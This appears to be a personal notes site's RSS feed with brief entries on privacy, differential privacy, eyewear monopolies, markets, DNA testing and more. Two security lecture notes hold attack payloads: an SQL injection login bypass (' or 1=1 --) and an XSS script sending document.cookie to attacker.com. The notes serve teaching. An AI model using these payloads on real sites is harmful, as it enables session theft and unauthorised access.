&lt;p&gt;Claim: FB will track relationships and social groups and make that information accessible to law enforcement. FB is a corporation that needs to make money; surveillance makes them money.&lt;/p&gt;
&lt;p&gt;Contention: Actual privacy and security must protect metadata as well as content.&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://openprivacy.ca/blog/2018/06/28/announcing-cwtch/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Cwtch by OpenPrivacy
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
 aims to minimize metadata exposed by apps used. It&amp;rsquo;s built on Tor. Challenges: &lt;em&gt;message latency, server reliability &amp;amp; discovery, (online) first contact problem for key exchange.&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Applications for DP</title><link>https://www.curiosities.dev/computer-science/cos432-information-security/14-privacy/privacy-enhancing-tech/differential-privacy/02-dp-applications/</link><pubDate>Tue, 22 Jan 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/cos432-information-security/14-privacy/privacy-enhancing-tech/differential-privacy/02-dp-applications/</guid><description>&lt;h2 id="dp-in-the-2020-us-census"&gt;DP in the 2020 US Census&lt;/h2&gt;
&lt;p&gt;Scenario:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Census bureau releases mean household income by block&lt;/li&gt;
&lt;li&gt;\(N - 1\) households in a block can work together to infer the outcome of household \(N\)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Solution:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Define \(i_{max}\), the hypothetical maximum income&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To protect outliers (like Jeff and Bill) clip their values to \(i_{max}\) before computing the mean&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add noise to mean income that&amp;rsquo;s proportional to \(i_{max} / \epsilon\)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Building Intuition About DP</title><link>https://www.curiosities.dev/computer-science/cos432-information-security/14-privacy/privacy-enhancing-tech/differential-privacy/01-exercise/</link><pubDate>Tue, 22 Jan 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/cos432-information-security/14-privacy/privacy-enhancing-tech/differential-privacy/01-exercise/</guid><description>&lt;h2 id="scenario"&gt;Scenario&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Researcher wants to estimate percentage of HIV positive individuals.&lt;/li&gt;
&lt;li&gt;Survey respondents don&amp;rsquo;t want to disclose HIV status&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="dp-solution"&gt;DP Solution&lt;/h2&gt;
&lt;p&gt;Each respondent flips answer with probability \(p\).&lt;/p&gt;
&lt;p&gt;Exercise: show that respondent privacy is protected&lt;/p&gt;
&lt;p&gt;Exercise: show that researcher can accurately estimate the quantity of interest&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Let \(x_i = 1\) if the \(i\)&amp;rsquo;th respondent is HIV positive, and zero otherwise. We&amp;rsquo;re interested in \( S/N \), where \(S = \sum_{i=1}^{n}{x_i} \).&lt;/p&gt;</description></item><item><title>Monopolistic Tendencies in the Prescription Glasses Industry</title><link>https://www.curiosities.dev/health-and-medicine/2019-01-22-why-are-glasses-so-expensive/</link><pubDate>Tue, 22 Jan 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/2019-01-22-why-are-glasses-so-expensive/</guid><description>&lt;h2 id="luxottica---queen-of-the-seven-kingdoms"&gt;Luxottica - Queen of the Seven Kingdoms &lt;span class="citation-ref"&gt;&lt;a href="#Lazurus2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;Luxottica owns and licenses Armani, Brooks Brothers, Burberry, Chanel, Coach, DKNY, Dolce &amp;amp; Gabbana, Michael Kors, Oakley, Oliver Peoples, Persol, Polo Ralph Lauren, Ray-Ban, Tiffany, Valentino, Vogue and Versace.&lt;/p&gt;
&lt;p&gt;Italy&amp;rsquo;s Luxottica also runs EyeMed Vision Care, LensCrafters, Pearle Vision, Sears Optical, Sunglass Hut and Target Optical. It also merged with the world&amp;rsquo;s leading maker of prescription eyeglass lenses and contact lenses, to form EssilorLuxottica. &lt;span class="citation-ref"&gt;&lt;a href="#Lazurus2019"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>AoC 2019 Day 02: 1202 Program Alarm</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2019/02-1202-program-alarm/02-1202-program-alarm/</link><pubDate>Tue, 08 Jan 2019 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2019/02-1202-program-alarm/02-1202-program-alarm/</guid><description>&lt;h2 id="description"&gt;Description&lt;/h2&gt;
&lt;p&gt;
&lt;a href="https://adventofcode.com/2019/day/2"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 Link to original challenge
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;On the way to your gravity assist around the Moon, your ship computer beeps angrily about a &amp;ldquo;1202 program alarm&amp;rdquo;. On the radio, an Elf is already explaining how to handle the situation: &amp;ldquo;Don&amp;rsquo;t worry, that&amp;rsquo;s perfectly norma&amp;ndash;&amp;rdquo; The ship computer bursts into flames.&lt;/p&gt;
&lt;p&gt;You notify the Elves that the computer&amp;rsquo;s magic smoke seems to have escaped. &amp;ldquo;That computer ran Intcode programs like the gravity assist program it was working on; surely there are enough spare parts up there to build a new Intcode computer!&amp;rdquo;&lt;/p&gt;</description></item><item><title>SQL Injection</title><link>https://www.curiosities.dev/computer-science/cos432-information-security/11-web-security/05-sql-injection/</link><pubDate>Sun, 25 Nov 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/cos432-information-security/11-web-security/05-sql-injection/</guid><description>&lt;p&gt;In a SQL injection attack, the attacker provides malicious form input that is fed into a DB server.&lt;/p&gt;
&lt;p&gt;Outcomes may include data deletion, bypassing access control, etc.&lt;/p&gt;
&lt;h2 id="sample-buggy-login"&gt;Sample Buggy Login&lt;/h2&gt;
&lt;p&gt;Server side code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;results&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;db&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;execute&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;SELECT * FROM Users WHERE user=&amp;#39;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#111"&gt;form&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;user&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&amp;#39; &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;AND pwd=&amp;#39;&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#111"&gt;form&lt;/span&gt;&lt;span style="color:#111"&gt;[&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;pwd&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;]&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;if&lt;/span&gt; &lt;span style="color:#111"&gt;results&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#111"&gt;login&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;results&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;else&lt;/span&gt;&lt;span style="color:#111"&gt;:&lt;/span&gt; &lt;span style="color:#111"&gt;login_failed&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;form&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;An attacker can supply &lt;code&gt;' or 1=1 --&lt;/code&gt; as the value for &lt;code&gt;user&lt;/code&gt;. This will make the effective code be:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;results&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;db&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;execute&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;SELECT * FROM Users WHERE user=&amp;#39;&amp;#39; OR 1=1 -- &amp;#39; AND pwd=&amp;#39;&amp;#39;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;--&lt;/code&gt; is a comment, which makes the rest of the command be ignored. The expression always returns true and thus the adversary bypasses the authorization check.&lt;/p&gt;</description></item><item><title>You Probably Won't Make it to the Top [DHH]</title><link>https://www.curiosities.dev/personal_growth/letting_go/2018-11-22-dhh-you-probably-wont-make-it-to-the-top/</link><pubDate>Thu, 22 Nov 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/personal_growth/letting_go/2018-11-22-dhh-you-probably-wont-make-it-to-the-top/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Hansson2018'&gt;
 
 You Probably Won&amp;#39;t Make it to the Top&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 David Heinemeier Hansson (DHH).
 
 
 
 
 
 &lt;a href="https://m.signalvnoise.com/youre-probably-won-t-make-it-to-the-top-8d2146abb790" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=m.signalvnoise.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;m.signalvnoise.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Nov 22, 2018.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Fallacy: &lt;em&gt;If you really set your mind to it, you can do it&amp;hellip; That’s how I did it. I just wanted it more, worked hard, and eventually all my dreams came true. I won’t say it’s easy, but it’s up to you!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Cross-Site Scripting (XSS)</title><link>https://www.curiosities.dev/computer-science/cos432-information-security/11-web-security/04-cross-site-scripting/</link><pubDate>Wed, 21 Nov 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/cos432-information-security/11-web-security/04-cross-site-scripting/</guid><description>&lt;h2 id="xss-101"&gt;XSS 101&lt;/h2&gt;
&lt;p&gt;Suppose a site, given a non-existent path, e.g. &lt;code&gt;htpp://victim.com/path&lt;/code&gt;, writes this error message:&lt;/p&gt;
&lt;p style="background-color: pink; padding: 2%;"&gt;
Error 404! `path` not found.
&lt;/p&gt;
&lt;p&gt;An attacker can then lead a user to opening &lt;code&gt;http://victim.com/attacker_supplied_string&lt;/code&gt;, where &lt;code&gt;attacker_supplied_string&lt;/code&gt; is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#75af00"&gt;addr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;http://attacker.com/?&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#75af00"&gt;escape&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;document&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#75af00"&gt;cookie&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;document&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#75af00"&gt;write&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;`&amp;lt;img src=&amp;#34;&lt;/span&gt;&lt;span style="color:#d88200"&gt;${&lt;/span&gt;&lt;span style="color:#75af00"&gt;addr&lt;/span&gt;&lt;span style="color:#d88200"&gt;}&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34; /&amp;gt;`&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;script&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Suppose a site uses Force HTTPS. If a &lt;code&gt;&amp;lt;script src=&amp;quot;http://...&amp;quot;&amp;gt;&lt;/code&gt; is not redirected to a HTTPS url, then an active attacker would still replace the JS code in the HTTP response with the malicious code that would run on the HTTPS page!&lt;/p&gt;</description></item><item><title>Humble Exits [Morgan Housel]</title><link>https://www.curiosities.dev/personal_growth/letting_go/2018-10-24-housel-humble-exits/</link><pubDate>Wed, 24 Oct 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/personal_growth/letting_go/2018-10-24-housel-humble-exits/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Housel2018'&gt;
 
 Humble Exits&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Morgan Housel.
 
 
 
 
 
 &lt;a href="https://www.collaborativefund.com/blog/humble-exits/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.collaborativefund.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.collaborativefund.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Oct 24, 2018.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Jack Welch declined $110m for a 10th season of Seinfeld because he was done with the show. He wanted to end the show on the same kind of peak.&lt;/p&gt;
&lt;p&gt;The show was based on recreating real events from his and Larry David&amp;rsquo;s normal life. They were running out of material because it had been so long since they experienced a normal life.&lt;/p&gt;</description></item><item><title>How Does a Market Work? [CS Colloquia]</title><link>https://www.curiosities.dev/business/2018-10-01-how-does-a-market-work/</link><pubDate>Mon, 01 Oct 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/2018-10-01-how-does-a-market-work/</guid><description>&lt;p&gt;Objectives: low latency, high throughput &amp;amp; high reliability.&lt;/p&gt;
&lt;p&gt;The messages are quite brief, e.g. the ITCH protocol uses 32 bytes per message.&lt;/p&gt;
&lt;p&gt;Trading firm listens to broadcasts on buys, sells, deletes on ITCH broadcasts. Online sorting to identify profitable trades.&lt;/p&gt;
&lt;p&gt;Matching engine operates on a first-come-first-served basis. Earlier orders with better price get traded first.&lt;/p&gt;
&lt;p&gt;Markets run at 50 microsecond scales.&lt;/p&gt;
&lt;p&gt;Single market peaks at 10Gbps. Peaks are correlated, e.g. &amp;ldquo;Shit! TSLA is burning. Sell!&amp;rdquo;&lt;/p&gt;</description></item><item><title>Kernighan's Remarks on the Digital Humanities</title><link>https://www.curiosities.dev/computer-science/miscellaneous/2018-10-01-digital-humanities-with-kernighan/</link><pubDate>Mon, 01 Oct 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/miscellaneous/2018-10-01-digital-humanities-with-kernighan/</guid><description>&lt;p&gt;OCR tends to miss (sometimes) really important context.&lt;/p&gt;
&lt;p&gt;Make use of derived data, e.g. age at marriage, gender differences, mortality rates, mapping migrations, last names&lt;/p&gt;
&lt;p&gt;Don&amp;rsquo;t spend all your time cleaning data.&lt;/p&gt;
&lt;p&gt;Try a sequence of things, not one big idea.&lt;/p&gt;
&lt;p&gt;Don&amp;rsquo;t expect existing tools to do the whole job. All the while, building new tools is not as straightforward.&lt;/p&gt;
&lt;h2 id="sample-digital-humanities-projects"&gt;Sample Digital Humanities Projects&lt;/h2&gt;
&lt;p&gt;
&lt;a href="http://orbis.stanford.edu/"
 
 
 
 target="_blank" rel="noopener"
 &gt;
 ORBIS by Stanford
 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
&lt;/a&gt;
. A kayak for the Roman Era.&lt;/p&gt;</description></item><item><title>The Wolf that Tried to Play Nice [SoECS]</title><link>https://www.curiosities.dev/business/optimism_and_deception/2018-10-01-the-wolf-that-tried-to-play-nice/</link><pubDate>Mon, 01 Oct 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/business/optimism_and_deception/2018-10-01-the-wolf-that-tried-to-play-nice/</guid><description>&lt;p&gt;AT&amp;amp;T restricted FaceTime from running on some data plans. Justifications?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;FaceTime is preloaded, therefore 100% of users have it&lt;/li&gt;
&lt;li&gt;FaceTime wasn&amp;rsquo;t efficient in network usage.&lt;/li&gt;
&lt;li&gt;The capacity was asymmetrical, but video chat is symmetrical&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Interestingly enough, AT&amp;amp;T required Apple to greenlight it, which they did. AT&amp;amp;T worked with top developers to teach network etiquette.&lt;/p&gt;</description></item><item><title>On DNA Testing</title><link>https://www.curiosities.dev/health-and-medicine/2018-09-18-on-dna-testing/</link><pubDate>Tue, 18 Sep 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/2018-09-18-on-dna-testing/</guid><description>&lt;p&gt;The human genome has sequences of nucleotide base pairs that are repeated over and over again. At each locus of interest, a person has two sets of repeats inherited from each parent. Each possible difference at a locus is an allele. The combinations of the possible differences at multiple loci form a DNA profile that can be used to tie suspects to a crime scene. &lt;span class="citation-ref"&gt;&lt;a href="#WikiCombinedDNAIndex"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="the-accuracy-of-dna-testing-is-wanting"&gt;The Accuracy of DNA Testing is Wanting &lt;span class="citation-ref"&gt;&lt;a href="#Hampikian2018"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;74/108 crime labs erroneously incriminated a suspect during a mock study. The reported match statistic for whether the match was coincidental varied over 100 trillion-fold.&lt;/p&gt;</description></item><item><title>Why Mathematicians Can't Find the Hay in a Haystack [Quanta Magazine]</title><link>https://www.curiosities.dev/mathematics/2018-09-17-cant-find-hay-in-a-hay-stack/</link><pubDate>Mon, 17 Sep 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/mathematics/2018-09-17-cant-find-hay-in-a-hay-stack/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Hartnett2018'&gt;
 
 Why Mathematicians Can’t Find the Hay in a Haystack&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Kevin Hartnett.
 
 
 
 
 &lt;a href="https://www.quantamagazine.org/why-mathematicians-cant-find-the-hay-in-a-haystack-20180917/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.quantamagazine.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.quantamagazine.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 Sep 17, 2018.
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;p&gt;Irrational numbers occupy most of the number line. If you were to pick a number on the number line at random, there is literally a 100% chance that it will be irrational (probabilities with inifinities are spooky). Yet, we almost never encounter irrational numbers for we can&amp;rsquo;t write them down.&lt;/p&gt;</description></item><item><title>[ToDo] CS 188: Introduction to Artificial Intelligence</title><link>https://www.curiosities.dev/todo/ai-and-machine-learning/cs188-intro-to-ai/</link><pubDate>Sat, 01 Sep 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/todo/ai-and-machine-learning/cs188-intro-to-ai/</guid><description>&lt;ul&gt;
&lt;li&gt;Intro to AI&lt;/li&gt;
&lt;li&gt;Uninformed Search&lt;/li&gt;
&lt;li&gt;A* Search and Heuristics&lt;/li&gt;
&lt;li&gt;CSPs&lt;/li&gt;
&lt;li&gt;Game Trees: Minimax&lt;/li&gt;
&lt;li&gt;Game Trees: Expectimax, Utilities&lt;/li&gt;
&lt;li&gt;MDPs&lt;/li&gt;
&lt;li&gt;Reinforcement Learning&lt;/li&gt;
&lt;li&gt;Probability&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bayesian Networks&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Representation&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Inference&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sampling&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Decision Networks&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;HMMs&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Particle Filtering and Applications of HMMs&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Machine Learning&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Naïve Bayes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Perceptrons and Logistic Regression&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Optimization&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Neural Networks&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Decision Trees&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Robotics&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Language&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vision&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Advanced Topics&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id=''&gt;
 
 CS 188: Introduction to Artificial Intelligence&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 Pieter Abbeel; Dan Klein.
 
 
 
 
 
 &lt;a href="https://inst.eecs.berkeley.edu/~cs188/fa18/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=inst.eecs.berkeley.edu" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;inst.eecs.berkeley.edu&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;</description></item><item><title>Chege Gitau</title><link>https://www.curiosities.dev/about/</link><pubDate>Fri, 17 Aug 2018 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/about/</guid><description>&lt;style&gt;
 svg {
 width: 24px;
 height: 24px;
 }

 p.contact-info {
 display: flex;
 gap: 24px;
 }
&lt;/style&gt;
&lt;p&gt;
I'm a software engineer based in Redmond, Washington. Originally from
Githunguri, Kenya. Outside of bytes, I play basketball recreationally.
&lt;/p&gt;
&lt;p class="contact-info"&gt;
&lt;a href="mailto:dchege711@gmail.com" aria-label="Email me at dchege711@gmail.com"&gt;&lt;svg viewBox="0 -17.01 122.88 122.88" aria-hidden="true"&gt;
 &lt;path fill="currentColor" d="M7.05,0H115.83a7.07,7.07,0,0,1,7,7.05V81.81a7,7,0,0,1-1.22,4,2.78,2.78,0,0,1-.66,1,2.62,2.62,0,0,1-.66.46,7,7,0,0,1-4.51,1.65H7.05a7.07,7.07,0,0,1-7-7V7.05A7.07,7.07,0,0,1,7.05,0Zm-.3,78.84L43.53,40.62,6.75,9.54v69.3ZM49.07,45.39,9.77,83.45h103L75.22,45.39l-11,9.21h0a2.7,2.7,0,0,1-3.45,0L49.07,45.39Zm31.6-4.84,35.46,38.6V9.2L80.67,40.55ZM10.21,5.41,62.39,47.7,112.27,5.41Z"&gt;&lt;/path&gt;
&lt;/svg&gt;
&lt;/span&gt;&lt;/a&gt;
&lt;a href="https://github.com/dchege711" title="Chege's Github"&gt;
&lt;svg viewBox="0 0 24 24" aria-hidden="true"&gt;
 &lt;path fill="currentColor" d="M12 1C5.9225 1 1 5.9225 1 12C1 16.8675 4.14875 20.9787 8.52125 22.4362C9.07125 22.5325 9.2775 22.2025 9.2775 21.9137C9.2775 21.6525 9.26375 20.7862 9.26375 19.865C6.5 20.3737 5.785 19.1912 5.565 18.5725C5.44125 18.2562 4.905 17.28 4.4375 17.0187C4.0525 16.8125 3.5025 16.3037 4.42375 16.29C5.29 16.2762 5.90875 17.0875 6.115 17.4175C7.105 19.0812 8.68625 18.6137 9.31875 18.325C9.415 17.61 9.70375 17.1287 10.02 16.8537C7.5725 16.5787 5.015 15.63 5.015 11.4225C5.015 10.2262 5.44125 9.23625 6.1425 8.46625C6.0325 8.19125 5.6475 7.06375 6.2525 5.55125C6.2525 5.55125 7.17375 5.2625 9.2775 6.67875C10.1575 6.43125 11.0925 6.3075 12.0275 6.3075C12.9625 6.3075 13.8975 6.43125 14.7775 6.67875C16.8813 5.24875 17.8025 5.55125 17.8025 5.55125C18.4075 7.06375 18.0225 8.19125 17.9125 8.46625C18.6138 9.23625 19.04 10.2125 19.04 11.4225C19.04 15.6437 16.4688 16.5787 14.0213 16.8537C14.42 17.1975 14.7638 17.8575 14.7638 18.8887C14.7638 20.36 14.75 21.5425 14.75 21.9137C14.75 22.2025 14.9563 22.5462 15.5063 22.4362C19.8513 20.9787 23 16.8537 23 12C23 5.9225 18.0775 1 12 1Z"&gt;&lt;/path&gt;
&lt;/svg&gt;
&lt;/a&gt;
&lt;a href="https://www.linkedin.com/in/chege-gitau-a12ba0111/" title="Chege's LinkedIn"&gt;
&lt;svg viewBox="0 0 24 24" aria-hidden="true"&gt;
